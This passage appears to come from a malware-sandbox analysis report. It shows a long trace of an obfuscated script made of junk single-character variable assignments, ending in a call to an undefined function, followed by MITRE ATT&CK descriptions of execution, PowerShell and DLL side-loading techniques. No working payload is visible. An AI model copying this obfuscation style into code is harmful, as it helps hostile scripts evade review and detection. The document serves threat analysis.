295	luaoanp = "F";
296	luaoanp = "e";
297	luaoanp = "J";
298	luaoanp = "o";
299	luaoanp = "V";
300	luaoanp = "w";
301	luaoanp = "v";
302	dljwkl = "t";
303	dljwkl = "S";
304	dljwkl = "K";
305	piwaqlu = "l";
306	piwaqlu = "h";
307	piwaqlu = "i";
308	piwaqlu = "C";
309	piwaqlu = "X";
310	piwaqlu = "V";
311	piwaqlu = "t";
312	piwaqlu = "b";
313	piwaqlu = "D";
314	piwaqlu = "U";
315	piwaqlu = "y";
316	piwaqlu = "n";
317	piwaqlu = "V";
318	piwaqlu = "H";
319	piwaqlu = "X";
320	piwaqlu = "W";
321	piwaqlu = "K";
322	piwaqlu = "Q";
323	piwaqlu = "O";
324	piwaqlu = "o";
325	piwaqlu = "o";
326	piwaqlu = "Y";
327	piwaqlu = "L";
328	piwaqlu = "E";
329	piwaqlu = "O";
330	piwaqlu = "m";
331	piwaqlu = "R";
332	fqvntrmf = "B";
333	fqvntrmf = "k";
334	fqvntrmf = "Q";
335	fqvntrmf = "a";
336	fqvntrmf = "o";
337	fqvntrmf = "y";
338	fqvntrmf = "f";
339	fqvntrmf = "y";
340	fqvntrmf = "j";
341	fqvntrmf = "A";
342	fqvntrmf = "H";
343	fqvntrmf = "R";
344	fqvntrmf = "Z";
345	fqvntrmf = "e";
346	fqvntrmf = "V";
347	fqvntrmf = "E";
348	fqvntrmf = "v";
349	fqvntrmf = "L";
350	fqvntrmf = "k";
351	fqvntrmf = "i";
352	fqvntrmf = "S";
353	fqvntrmf = "i";
354	fqvntrmf = "R";
355	fqvntrmf = "t";
356	fqvntrmf = "t";
357	fqvntrmf = "m";
358	fqvntrmf = "N";
359	fqvntrmf = "W";
360	fqvntrmf = "W";
361	fqvntrmf = "S";
362	fqvntrmf = "y";
363	fqvntrmf = "K";
364	fqvntrmf = "z";
365	fqvntrmf = "3";
366	shujg = "d";
367	shujg = "P";
368	shujg = "D";
369	shujg = "b";
370	shujg = "a";
371	shujg = "E";
372	shujg = "E";
373	shujg = "U";
374	shujg = "q";
375	shujg = "V";
376	shujg = "p";
377	shujg = "u";
378	shujg = "S";
379	shujg = "z";
380	shujg = "O";
381	shujg = "m";
382	shujg = "t";
383	shujg = "e";
384	shujg = "u";
385	shujg = "B";
386	shujg = "Q";
387	shujg = "A";
388	shujg = "m";
389	shujg = "r";
390	shujg = "q";
391	shujg = "W";
392	shujg = "K";
393	shujg = "T";
394	shujg = "n";
395	shujg = "F";
396	shujg = "Y";
397	shujg = "y";
398	shujg = "O";
399	shujg = "H";
400	shujg = "R";
401	shujg = "z";
402	shujg = "l";
403	shujg = "h";
404	xqctbo = "d";
405	xqctbo = "L";
406	xqctbo = "a";
407	xqctbo = "h";
408	xqctbo = "f";
409	xqctbo = "G";
410	xqctbo = "d";
411	xqctbo = "h";
412	xqctbo = "g";
413	xqctbo = "l";
414	xqctbo = "U";
415	xqctbo = "P";
416	xqctbo = "E";
417	xqctbo = "M";
418	xqctbo = "x";
419	xqctbo = "g";
420	xqctbo = "v";
421	xqctbo = "m";
422	xqctbo = "W";
423	xqctbo = "l";
424	xqctbo = "/";
425	qwhmkx = "X";
426	qwhmkx = "W";
427	qwhmkx = "j";
428	qwhmkx = "W";
429	qwhmkx = "z";
430	qwhmkx = "v";
431	qwhmkx = "A";
432	qwhmkx = "y";
433	qwhmkx = "c";
434	qwhmkx = "m";
435	qwhmkx = "V";
436	qwhmkx = "s";
437	qwhmkx = "l";
438	qwhmkx = "B";
439	qwhmkx = "w";
440	qwhmkx = "R";
441	qwhmkx = "Z";
442	qwhmkx = "x";
443	qwhmkx = "S";
444	qwhmkx = "p";
445	qwhmkx = "j";
446	qwhmkx = "G";
447	qwhmkx = "O";
448	qwhmkx = "b";
449	qwhmkx = "Q";
450	qwhmkx = "p";
451	wqqtxx = "R";
452	wqqtxx = "p";
453	wqqtxx = "T";
454	wqqtxx = "F";
455	wqqtxx = "L";
456	wqqtxx = "J";
457	wqqtxx = "k";
458	wqqtxx = "Y";
459	wqqtxx = "b";
460	wqqtxx = "J";
461	wqqtxx = "k";
462	wqqtxx = "R";
463	wqqtxx = "C";
464	wqqtxx = "V";
465	wqqtxx = "A";
466	wqqtxx = "P";
467	wqqtxx = "r";
468	wqqtxx = "d";
469	wqqtxx = "D";
470	wqqtxx = "l";
471	wqqtxx = "T";
472	wqqtxx = "w";
473	wqqtxx = "P";
474	wqqtxx = "U";
475	wqqtxx = "u";
476	wqqtxx = "A";
477	wqqtxx = "A";
478	wqqtxx = "i";
479	wqqtxx = "C";
480	wqqtxx = "j";
481	wqqtxx = "g";
482	wqqtxx = "H";
483	wqqtxx = "h";
484	wqqtxx = "G";
485	wqqtxx = "j";
486	wqqtxx = "O";
487	wqqtxx = "B";
488	wqqtxx = "D";
489	wqqtxx = "h";
490	wqqtxx = "g";
491	wqqtxx = "b";
492	wqqtxx = "D";
493	wqqtxx = "O";
494	vramqlkmd = "M";
495	vramqlkmd = "g";
496	vramqlkmd = "b";
497	vramqlkmd = "u";
498	vramqlkmd = "a";
499	vramqlkmd = "q";
500	vramqlkmd = "f";
501	vramqlkmd = "e";
502	vramqlkmd = "p";
503	vramqlkmd = "X";
504	vramqlkmd = "v";
505	vramqlkmd = "G";
506	vramqlkmd = "v";
507	vramqlkmd = "F";
508	vramqlkmd = "V";
509	vramqlkmd = "h";
510	vramqlkmd = "c";
511	vramqlkmd = "j";
512	wzplcrvr = "S";
513	wzplcrvr = "Z";
514	wzplcrvr = "J";
515	wzplcrvr = "T";
516	wzplcrvr = "q";
517	wzplcrvr = "g";
518	wzplcrvr = "Z";
519	wzplcrvr = "N";
520	wzplcrvr = "F";
521	wzplcrvr = "q";
522	wzplcrvr = "v";
523	wzplcrvr = "r";
524	wzplcrvr = "b";
525	wzplcrvr = "T";
526	wzplcrvr = "f";
527	wzplcrvr = "t";
528	wzplcrvr = "p";
529	wzplcrvr = "D";
530	wzplcrvr = "j";
531	wzplcrvr = "f";
532	wzplcrvr = "i";
533	wzplcrvr = "U";
534	wzplcrvr = "P";
535	wzplcrvr = "&";
536	jaflihxcv = "A";
537	jaflihxcv = "h";
538	jaflihxcv = "J";
539	jaflihxcv = "o";
540	jaflihxcv = "E";
541	jaflihxcv = "N";
542	jaflihxcv = "I";
543	jaflihxcv = "n";
544	jaflihxcv = "U";
545	jaflihxcv = "R";
546	jaflihxcv = "J";
547	jaflihxcv = "B";
548	jaflihxcv = "g";
549	jaflihxcv = "V";
550	jaflihxcv = "M";
551	jaflihxcv = "k";
552	jaflihxcv = "f";
553	jaflihxcv = "D";
554	jaflihxcv = "Y";
555	jaflihxcv = "j";
556	jaflihxcv = "f";
557	jaflihxcv = "O";
558	jaflihxcv = "E";
559	jaflihxcv = "F";
560	jaflihxcv = "h";
561	jaflihxcv = "L";
562	jaflihxcv = ".";
563	hxqgyqnmq = "g";
564	hxqgyqnmq = "T";
565	hxqgyqnmq = "e";
566	hxqgyqnmq = "Z";
567	hxqgyqnmq = "z";
568	hxqgyqnmq = "Z";
569	hxqgyqnmq = "G";
570	hxqgyqnmq = "n";
571	jhfsbxcwj = "V";
572	jhfsbxcwj = "e";
573	jhfsbxcwj = "K";
574	jhfsbxcwj = "I";
575	jhfsbxcwj = "0";
576	ussayf = "L";
577	ussayf = "T";
578	ussayf = "J";
579	ussayf = "n";
580	ussayf = "a";
581	ussayf = "T";
582	ussayf = "H";
583	ussayf = "o";
584	ussayf = "X";
585	ussayf = "J";
586	ussayf = "k";
587	ussayf = "A";
588	ussayf = "Y";
589	ussayf = "V";
590	ussayf = "w";
591	ussayf = "N";
592	ussayf = "F";
593	ussayf = "X";
594	ussayf = "A";
595	ussayf = "R";
596	ussayf = "y";
597	ussayf = "B";
598	ussayf = "H";
599	ussayf = "x";
600	ussayf = "p";
601	ussayf = "z";
602	ussayf = "K";
603	ussayf = "m";
604	ussayf = "p";
605	ussayf = "T";
606	ussayf = "Y";
607	ussayf = "V";
608	ussayf = "g";
609	ussayf = "v";
610	ussayf = "k";
611	mrihgjhd = "e";
612	mrihgjhd = "c";
613	mrihgjhd = "C";
614	mrihgjhd = "m";
615	mrihgjhd = "Q";
616	mrihgjhd = "U";
617	mrihgjhd = "D";
618	mrihgjhd = "Q";
619	mrihgjhd = "J";
620	mrihgjhd = "I";
621	mrihgjhd = "h";
622	mrihgjhd = "X";
623	mrihgjhd = "E";
624	mrihgjhd = "m";
625	mrihgjhd = "G";
626	mrihgjhd = "P";
627	mrihgjhd = "W";
628	mrihgjhd = "c";
629	etiodtzzt = "m";
630	gxcis = "f";
631	gxcis = "z";
632	gxcis = "P";
633	gxcis = "E";
634	gxcis = "s";
635	gxcis = "A";
636	gxcis = "F";
637	gxcis = "G";
638	gxcis = "O";
639	gxcis = "F";
640	gxcis = "G";
641	gxcis = "w";
642	gxcis = "n";
643	gxcis = "C";
644	gxcis = "V";
645	gxcis = "R";
646	gxcis = "M";
647	gxcis = "r";
648	gxcis = "G";
649	gxcis = "y";
650	gxcis = "y";
651	gxcis = "K";
652	gxcis = "c";
653	gxcis = "w";
654	gxcis = "x";
655	gxcis = "V";
656	gxcis = "X";
657	gxcis = "Y";
658	gxcis = "q";
659	gxcis = "e";
660	gxcis = "i";
661	gxcis = "D";
662	gxcis = "Z";
663	gxcis = "Q";
664	gxcis = "y";
665	gxcis = "D";
666	gxcis = "s";
667	gxcis = "J";
668	gxcis = "p";
669	gxcis = "W";
670	gxcis = "B";
671	gxcis = "Y";
672	gxcis = "Q";
673	gxcis = "f";
674	gxcis = " ";
675	bzneykt = "f";
676	bzneykt = "n";
677	bzneykt = "c";
678	bzneykt = "H";
679	bzneykt = "Q";
680	bzneykt = "T";
681	bzneykt = "i";
682	bzneykt = "I";
683	bzneykt = "G";
684	bzneykt = "l";
685	bzneykt = "H";
686	bzneykt = "H";
687	bzneykt = "e";
688	bzneykt = "h";
689	bzneykt = "t";
690	bzneykt = "V";
691	bzneykt = "Y";
692	bzneykt = "f";
693	bzneykt = "I";
694	bzneykt = "E";
695	bzneykt = "\\";
696	tbtemos = "z";
697	tbtemos = "t";
698	tbtemos = "B";
699	tbtemos = "Y";
700	tbtemos = "W";
701	vmbfrgiyu = "I";
702	vmbfrgiyu = "I";
703	vmbfrgiyu = "x";
704	vmbfrgiyu = "U";
705	vmbfrgiyu = "q";
706	vmbfrgiyu = "q";
707	jxxcc = "U";
708	jxxcc = "s";
709	jxxcc = "i";
710	jxxcc = "P";
711	jxxcc = "o";
712	jxxcc = "z";
713	jxxcc = "Y";
714	jxxcc = "V";
715	jxxcc = "n";
716	jxxcc = "S";
717	jxxcc = "U";
718	jxxcc = "T";
719	jxxcc = "A";
720	jxxcc = "e";
721	lcqvzk = "F";
722	lcqvzk = "n";
723	lcqvzk = "B";
724	lcqvzk = "T";
725	sabtiww = "Q";
726	yfmdjzrkp = "U";
727	yfmdjzrkp = "X";
728	yfmdjzrkp = "K";
729	yfmdjzrkp = "r";
730	yfmdjzrkp = "a";
731	yfmdjzrkp = "c";
732	yfmdjzrkp = "c";
733	yfmdjzrkp = "p";
734	yfmdjzrkp = "L";
735	yfmdjzrkp = "U";
736	yfmdjzrkp = "A";
737	yfmdjzrkp = "s";
738	yfmdjzrkp = "E";
739	yfmdjzrkp = "U";
740	yfmdjzrkp = "S";
741	yfmdjzrkp = "s";
742	yfmdjzrkp = "U";
743	yfmdjzrkp = "h";
744	yfmdjzrkp = "C";
745	yfmdjzrkp = "P";
746	yfmdjzrkp = "v";
747	yfmdjzrkp = "o";
748	yfmdjzrkp = "O";
749	yfmdjzrkp = "H";
750	yfmdjzrkp = "z";
751	yfmdjzrkp = "j";
752	yfmdjzrkp = "f";
753	yfmdjzrkp = "n";
754	yfmdjzrkp = "J";
755	yfmdjzrkp = "F";
756	yfmdjzrkp = "i";
757	yfmdjzrkp = "r";
758	yfmdjzrkp = "c";
759	yfmdjzrkp = "G";
760	yfmdjzrkp = "b";
761	yfmdjzrkp = "g";
762	yfmdjzrkp = "D";
763	yfmdjzrkp = "P";
764	yfmdjzrkp = "T";
765	yfmdjzrkp = "Z";
766	yfmdjzrkp = "z";
767	yfmdjzrkp = "a";
768	yfmdjzrkp = "L";
769	yfmdjzrkp = "K";
770	yfmdjzrkp = "w";
771	unubma = "V";
772	unubma = "l";
773	unubma = "W";
774	unubma = "z";
775	unubma = "U";
776	unubma = "S";
777	unubma = "O";
778	unubma = "U";
779	unubma = "L";
780	unubma = "Q";
781	unubma = "t";
782	unubma = "i";
783	unubma = "j";
784	unubma = "\"";
785	blspkz = "L";
786	blspkz = "N";
787	blspkz = "i";
788	blspkz = "Z";
789	blspkz = "s";
790	blspkz = "v";
791	blspkz = "Z";
792	blspkz = "X";
793	blspkz = "Y";
794	blspkz = "q";
795	blspkz = "C";
796	blspkz = "I";
797	blspkz = "f";
798	blspkz = "a";
799	blspkz = "Y";
800	blspkz = "S";
801	blspkz = "m";
802	blspkz = "7";
803	hskegxq = "B";
804	hskegxq = "F";
805	hskegxq = "p";
806	hskegxq = "K";
807	hskegxq = "p";
808	hskegxq = "Z";
809	hskegxq = "P";
810	hskegxq = "w";
811	hskegxq = "w";
812	hskegxq = "S";
813	hskegxq = "m";
814	hskegxq = "l";
815	hskegxq = "s";
816	hskegxq = "a";
817	hskegxq = "Q";
818	hskegxq = "G";
819	hskegxq = "X";
820	hskegxq = "V";
821	hskegxq = "Y";
822	hskegxq = "A";
823	hskegxq = "q";
824	hskegxq = "d";
825	hskegxq = "K";
826	hskegxq = "r";
827	hskegxq = "J";
828	hskegxq = "e";
829	hskegxq = "Z";
830	hskegxq = "D";
831	hskegxq = "y";
832	hskegxq = "e";
833	hskegxq = "U";
834	hskegxq = "O";
835	hskegxq = "U";
836	hskegxq = "u";
837	hskegxq = "b";
838	hskegxq = "K";
839	hskegxq = "U";
840	hskegxq = "F";
841	hskegxq = "2";
842	akxbye = "z";
843	akxbye = "v";
844	akxbye = "S";
845	akxbye = "P";
846	akxbye = "j";
847	akxbye = "k";
848	akxbye = "W";
849	akxbye = "U";
850	akxbye = "q";
851	akxbye = "E";
852	akxbye = "i";
853	akxbye = "X";
854	akxbye = "A";
855	akxbye = "B";
856	akxbye = "t";
857	akxbye = "J";
858	akxbye = "m";
859	akxbye = "G";
860	akxbye = "g";
861	akxbye = "K";
862	akxbye = "R";
863	akxbye = "E";
864	akxbye = "n";
865	akxbye = "B";
866	akxbye = "T";
867	akxbye = "A";
868	akxbye = "r";
869	akxbye = "N";
870	akxbye = "v";
871	akxbye = "H";
872	akxbye = "b";
873	akxbye = "A";
874	akxbye = "L";
875	akxbye = "9";
876	zzvms = "t";
877	zzvms = "J";
878	zzvms = "o";
879	zzvms = "F";
880	zzvms = "V";
881	zzvms = "t";
882	zzvms = "T";
883	zzvms = "J";
884	zzvms = "F";
885	zzvms = "q";
886	zzvms = "M";
887	zzvms = "a";
888	zzvms = "h";
889	zzvms = "E";
890	zzvms = "b";
891	qqtargzcj = "O";
892	qqtargzcj = "t";
893	qqtargzcj = "G";
894	qqtargzcj = "s";
895	meznwki = "Z";
896	meznwki = "V";
897	meznwki = "r";
898	meznwki = "v";
899	meznwki = "B";
900	meznwki = "q";
901	meznwki = "H";
902	meznwki = "D";
903	meznwki = "w";
904	meznwki = "k";
905	meznwki = "k";
906	meznwki = "a";
907	meznwki = "X";
908	meznwki = "k";
909	meznwki = "H";
910	meznwki = "e";
911	meznwki = "w";
912	meznwki = "I";
913	meznwki = "l";
914	meznwki = "k";
915	meznwki = "t";
916	meznwki = "t";
917	meznwki = "d";
918	meznwki = "k";
919	meznwki = "u";
920	meznwki = "I";
921	meznwki = "S";
922	meznwki = "W";
923	meznwki = "r";
924	meznwki = "g";
925	meznwki = "e";
926	meznwki = "m";
927	meznwki = "c";
928	meznwki = "Q";
929	meznwki = "n";
930	meznwki = "6";
931	kdjtnjah = "r";
932	kdjtnjah = "C";
933	kdjtnjah = "E";
934	kdjtnjah = "I";
935	kdjtnjah = "X";
936	kdjtnjah = "H";
937	kwkfyp = "N";
938	kwkfyp = "F";
939	kwkfyp = "m";
940	kwkfyp = "U";
941	kwkfyp = "Z";
942	kwkfyp = "e";
943	kwkfyp = "a";
944	kwkfyp = "d";
945	kwkfyp = "o";
946	kwkfyp = "f";
947	kwkfyp = "R";
948	kwkfyp = "b";
949	kwkfyp = "S";
950	kwkfyp = "y";
951	kwkfyp = "o";
952	kwkfyp = "A";
953	kwkfyp = "A";
954	kwkfyp = "W";
955	kwkfyp = "r";
956	kwkfyp = "E";
957	kwkfyp = "Q";
958	kwkfyp = "v";
959	kwkfyp = "T";
960	kwkfyp = "s";
961	kwkfyp = "C";
962	jqqfvrel = "o";
963	jqqfvrel = "m";
964	jqqfvrel = "H";
965	jqqfvrel = "R";
966	jqqfvrel = "p";
967	jqqfvrel = "f";
968	jqqfvrel = "j";
969	jqqfvrel = "O";
970	jqqfvrel = "Y";
971	jqqfvrel = "V";
972	jqqfvrel = "I";
973	jqqfvrel = "W";
974	jqqfvrel = "Y";
975	jqqfvrel = "k";
976	jqqfvrel = "U";
977	jqqfvrel = "c";
978	jqqfvrel = "w";
979	jqqfvrel = "M";
980	jqqfvrel = "g";
981	jqqfvrel = "F";
982	jqqfvrel = "5";
983	iteauiyyd = "h";
984	iteauiyyd = "i";
985	iteauiyyd = "P";
986	iteauiyyd = "i";
987	iteauiyyd = "n";
988	iteauiyyd = "z";
989	iteauiyyd = "y";
990	iteauiyyd = "H";
991	iteauiyyd = "k";
992	iteauiyyd = "s";
993	iteauiyyd = "E";
994	iteauiyyd = "R";
995	iteauiyyd = "V";
996	iteauiyyd = "i";
997	iteauiyyd = "c";
998	iteauiyyd = "Z";
999	iteauiyyd = "r";
1000	iteauiyyd = "x";
1001	iteauiyyd = "H";
1002	iteauiyyd = "c";
1003	iteauiyyd = "l";
1004	iteauiyyd = "h";
1005	iteauiyyd = "v";
1006	iteauiyyd = "H";
1007	iteauiyyd = "u";
1008	iteauiyyd = "g";
1009	iteauiyyd = "S";
1010	iteauiyyd = "S";
1011	iteauiyyd = "z";
1012	iteauiyyd = "x";
1013	iteauiyyd = "O";
1014	iteauiyyd = "w";
1015	iteauiyyd = "d";
1016	iteauiyyd = "m";
1017	iteauiyyd = "f";
1018	iteauiyyd = "L";
1019	iteauiyyd = "U";
1020	zjwsksox = "o";
1021	zjwsksox = "a";
1022	zjwsksox = "J";
1023	zjwsksox = "x";
1024	zjwsksox = "Q";
1025	zjwsksox = "a";
1026	zjwsksox = "K";
1027	zjwsksox = "F";
1028	zjwsksox = "h";
1029	zjwsksox = "t";
1030	zjwsksox = "U";
1031	zjwsksox = "V";
1032	zjwsksox = "c";
1033	zjwsksox = "y";
1034	zjwsksox = "Y";
1035	zjwsksox = "N";
1036	zjwsksox = "y";
1037	zjwsksox = "Q";
1038	zjwsksox = "h";
1039	zjwsksox = "x";
1040	toyarzrlj = "J";
1041	toyarzrlj = "V";
1042	toyarzrlj = "q";
1043	toyarzrlj = "I";
1044	toyarzrlj = "u";
1045	awawhkws = "c";
1046	awawhkws = "D";
1047	awawhkws = "M";
1048	awawhkws = "G";
1049	awawhkws = "C";
1050	awawhkws = "O";
1051	awawhkws = "v";
1052	awawhkws = "Q";
1053	awawhkws = "c";
1054	awawhkws = "F";
1055	awawhkws = "a";
1056	awawhkws = "A";
1057	awawhkws = "b";
1058	awawhkws = "V";
1059	awawhkws = "e";
1060	awawhkws = "y";
1061	awawhkws = "h";
1062	awawhkws = "X";
1063	awawhkws = "o";
1064	awawhkws = "L";
1065	awawhkws = "V";
1066	awawhkws = "i";
1067	awawhkws = "z";
1068	awawhkws = "h";
1069	awawhkws = "i";
1070	awawhkws = "z";
1071	awawhkws = "C";
1072	awawhkws = "R";
1073	awawhkws = "p";
1074	awawhkws = "N";
1075	awawhkws = "h";
1076	awawhkws = "O";
1077	awawhkws = "D";
1078	awawhkws = "4";
1079	trfhrokvl = "R";
1080	trfhrokvl = "o";
1081	trfhrokvl = "Z";
1082	trfhrokvl = "m";
1083	trfhrokvl = "q";
1084	trfhrokvl = "M";
1085	trfhrokvl = "Q";
1086	trfhrokvl = "c";
1087	trfhrokvl = "y";
1088	trfhrokvl = "H";
1089	trfhrokvl = "E";
1090	trfhrokvl = "L";
1091	trfhrokvl = "G";
1092	trfhrokvl = "V";
1093	trfhrokvl = "x";
1094	trfhrokvl = "q";
1095	trfhrokvl = "C";
1096	trfhrokvl = "q";
1097	trfhrokvl = "f";
1098	trfhrokvl = "Z";
1099	trfhrokvl = "v";
1100	trfhrokvl = "n";
1101	trfhrokvl = "D";
1102	trfhrokvl = "V";
1103	trfhrokvl = "D";
1104	trfhrokvl = "t";
1105	trfhrokvl = "F";
1106	trfhrokvl = "c";
1107	trfhrokvl = "T";
1108	trfhrokvl = "d";
1109	trfhrokvl = "p";
1110	trfhrokvl = "m";
1111	trfhrokvl = "d";
1112	trfhrokvl = "H";
1113	trfhrokvl = "P";
1114	trfhrokvl = "I";
1115	trfhrokvl = "x";
1116	trfhrokvl = "j";
1117	trfhrokvl = "e";
1118	trfhrokvl = "g";
1119	trfhrokvl = "Y";
1120	trfhrokvl = "h";
1121	trfhrokvl = "n";
1122	trfhrokvl = "g";
1123	itnzspl = "D";
1124	itnzspl = "p";
1125	itnzspl = "_";
1126	fucsdw = "f";
1127	fucsdw = "f";
1128	fucsdw = "q";
1129	fucsdw = "t";
1130	fucsdw = "P";
1131	fucsdw = "E";
1132	fucsdw = "c";
1133	fucsdw = "g";
1134	fucsdw = "R";
1135	fucsdw = "D";
1136	fucsdw = "y";
1137	fucsdw = "c";
1138	fucsdw = "i";
1139	fucsdw = "f";
1140	fucsdw = "@";
1141	whfov = "p";
1142	whfov = "W";
1143	whfov = "N";
1144	whfov = "t";
1145	whfov = "m";
1146	whfov = "Y";
1147	whfov = "R";
1148	whfov = "c";
1149	whfov = "f";
1150	whfov = "L";
1151	whfov = "d";
1152	whfov = "B";
1153	whfov = "q";
1154	whfov = "k";
1155	whfov = "F";
1156	whfov = "G";
1157	whfov = "y";
1158	whfov = "Q";
1159	whfov = "E";
1160	whfov = "T";
1161	whfov = "T";
1162	whfov = "o";
1163	whfov = "r";
1164	whfov = "b";
1165	whfov = "L";
1166	whfov = "E";
1167	whfov = "v";
1168	whfov = "d";
1169	whfov = "p";
1170	whfov = "G";
1171	whfov = "B";
1172	whfov = "o";
1173	whfov = "M";
1174	whfov = "r";
1175	whfov = "r";
1176	whfov = "H";
1177	whfov = "o";
1178	whfov = "o";
1179	whfov = "F";
1180	whfov = "t";
1181	whfov = "b";
1182	whfov = "t";
1183	hwojqgo = "i";
1184	hwojqgo = "T";
1185	hwojqgo = "V";
1186	hwojqgo = "w";
1187	hwojqgo = "b";
1188	hwojqgo = "Y";
1189	hwojqgo = "Q";
1190	hwojqgo = "e";
1191	hwojqgo = "Y";
1192	hwojqgo = "H";
1193	hwojqgo = "o";
1194	hwojqgo = "E";
1195	hwojqgo = "o";
1196	hwojqgo = "i";
1197	hwojqgo = "m";
1198	hwojqgo = "v";
1199	hwojqgo = "O";
1200	hwojqgo = "l";
1201	hwojqgo = "D";
1202	hwojqgo = "s";
1203	hwojqgo = "f";
1204	hwojqgo = "V";
1205	hwojqgo = "c";
1206	hwojqgo = "t";
1207	hwojqgo = "r";
1208	hwojqgo = "w";
1209	hwojqgo = "r";
1210	hwojqgo = "f";
1211	hwojqgo = "b";
1212	hwojqgo = "%";
1213	djchcro = "Q";
1214	djchcro = "t";
1215	djchcro = "r";
1216	djchcro = "a";
1217	djchcro = "Y";
1218	djchcro = "v";
1219	djchcro = "w";
1220	djchcro = "K";
1221	djchcro = "v";
1222	djchcro = "Z";
1223	djchcro = "k";
1224	djchcro = "Y";
1225	djchcro = "i";
1226	zarukyo = "H";
1227	zarukyo = "M";
1228	zarukyo = "Q";
1229	zarukyo = "c";
1230	zarukyo = "l";
1231	zarukyo = "o";
1232	zarukyo = "C";
1233	zarukyo = "O";
1234	zarukyo = "Q";
1235	zarukyo = "S";
1236	zarukyo = "a";
1237	zarukyo = "v";
1238	zarukyo = "P";
1239	zarukyo = "R";
1240	zarukyo = "J";
1241	zarukyo = "w";
1242	zarukyo = "l";
1243	zarukyo = "G";
1244	zarukyo = "Z";
1245	zarukyo = "C";
1246	zarukyo = "W";
1247	zarukyo = "t";
1248	zarukyo = "t";
1249	zarukyo = "T";
1250	zarukyo = "H";
1251	zarukyo = "l";
1252	zarukyo = "H";
1253	zarukyo = "V";
1254	zarukyo = "I";
1255	zarukyo = "s";
1256	zarukyo = "F";
1257	zarukyo = "w";
1258	zarukyo = "t";
1259	zarukyo = "O";
1260	zarukyo = "y";
1261	zarukyo = "m";
1262	zarukyo = "q";
1263	zarukyo = "z";
1264	zarukyo = "-";
1265	iuvrsqyu = "D";
1266	iuvrsqyu = "c";
1267	iuvrsqyu = "N";
1268	iuvrsqyu = "L";
1269	iuvrsqyu = "W";
1270	iuvrsqyu = "D";
1271	iuvrsqyu = "W";
1272	iuvrsqyu = "O";
1273	iuvrsqyu = "X";
1274	iuvrsqyu = "R";
1275	iuvrsqyu = "H";
1276	iuvrsqyu = "d";
1277	iuvrsqyu = "e";
1278	iuvrsqyu = "o";
1279	iuvrsqyu = "a";
1280	iuvrsqyu = "P";
1281	iuvrsqyu = "m";
1282	iuvrsqyu = "W";
1283	iuvrsqyu = "a";
1284	iuvrsqyu = "N";
1285	btjfr = "a";
1286	btjfr = "c";
1287	btjfr = "Z";
1288	btjfr = "X";
1289	btjfr = "H";
1290	btjfr = "S";
1291	btjfr = "K";
1292	btjfr = "I";
1293	btjfr = "B";
1294	btjfr = "w";
1295	btjfr = "P";
1296	egzjghrms = "z";
1297	egzjghrms = "C";
1298	egzjghrms = "N";
1299	egzjghrms = "k";
1300	egzjghrms = "o";
1301	egzjghrms = "J";
1302	egzjghrms = "G";
1303	egzjghrms = "p";
1304	egzjghrms = "s";
1305	egzjghrms = "J";
1306	egzjghrms = "E";
1307	egzjghrms = "V";
1308	egzjghrms = "h";
1309	egzjghrms = "M";
1310	egzjghrms = "g";
1311	egzjghrms = "b";
1312	egzjghrms = "p";
1313	egzjghrms = "P";
1314	egzjghrms = "V";
1315	egzjghrms = "r";
1316	mdzuky = "V";
1317	mdzuky = "c";
1318	mdzuky = "s";
1319	mdzuky = "e";
1320	mdzuky = "O";
1321	mdzuky = "A";
1322	mdzuky = "P";
1323	mdzuky = "f";
1324	mdzuky = "k";
1325	mdzuky = "n";
1326	mdzuky = "E";
1327	mdzuky = "u";
1328	mdzuky = "t";
1329	mdzuky = "E";
1330	oteqflgzd = "D";
1331	oteqflgzd = "1";
1332	ofoigpaxf = "M";
1333	ofoigpaxf = "z";
1334	ofoigpaxf = "b";
1335	ofoigpaxf = "M";
1336	ofoigpaxf = "M";
1337	ofoigpaxf = "n";
1338	ofoigpaxf = "y";
1339	ofoigpaxf = "d";
1340	ofoigpaxf = "R";
1341	ofoigpaxf = "A";
1342	ofoigpaxf = "S";
1343	ofoigpaxf = "F";
1344	ofoigpaxf = "v";
1345	ofoigpaxf = "l";
1346	jqffgulm ( );	jqffgulm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
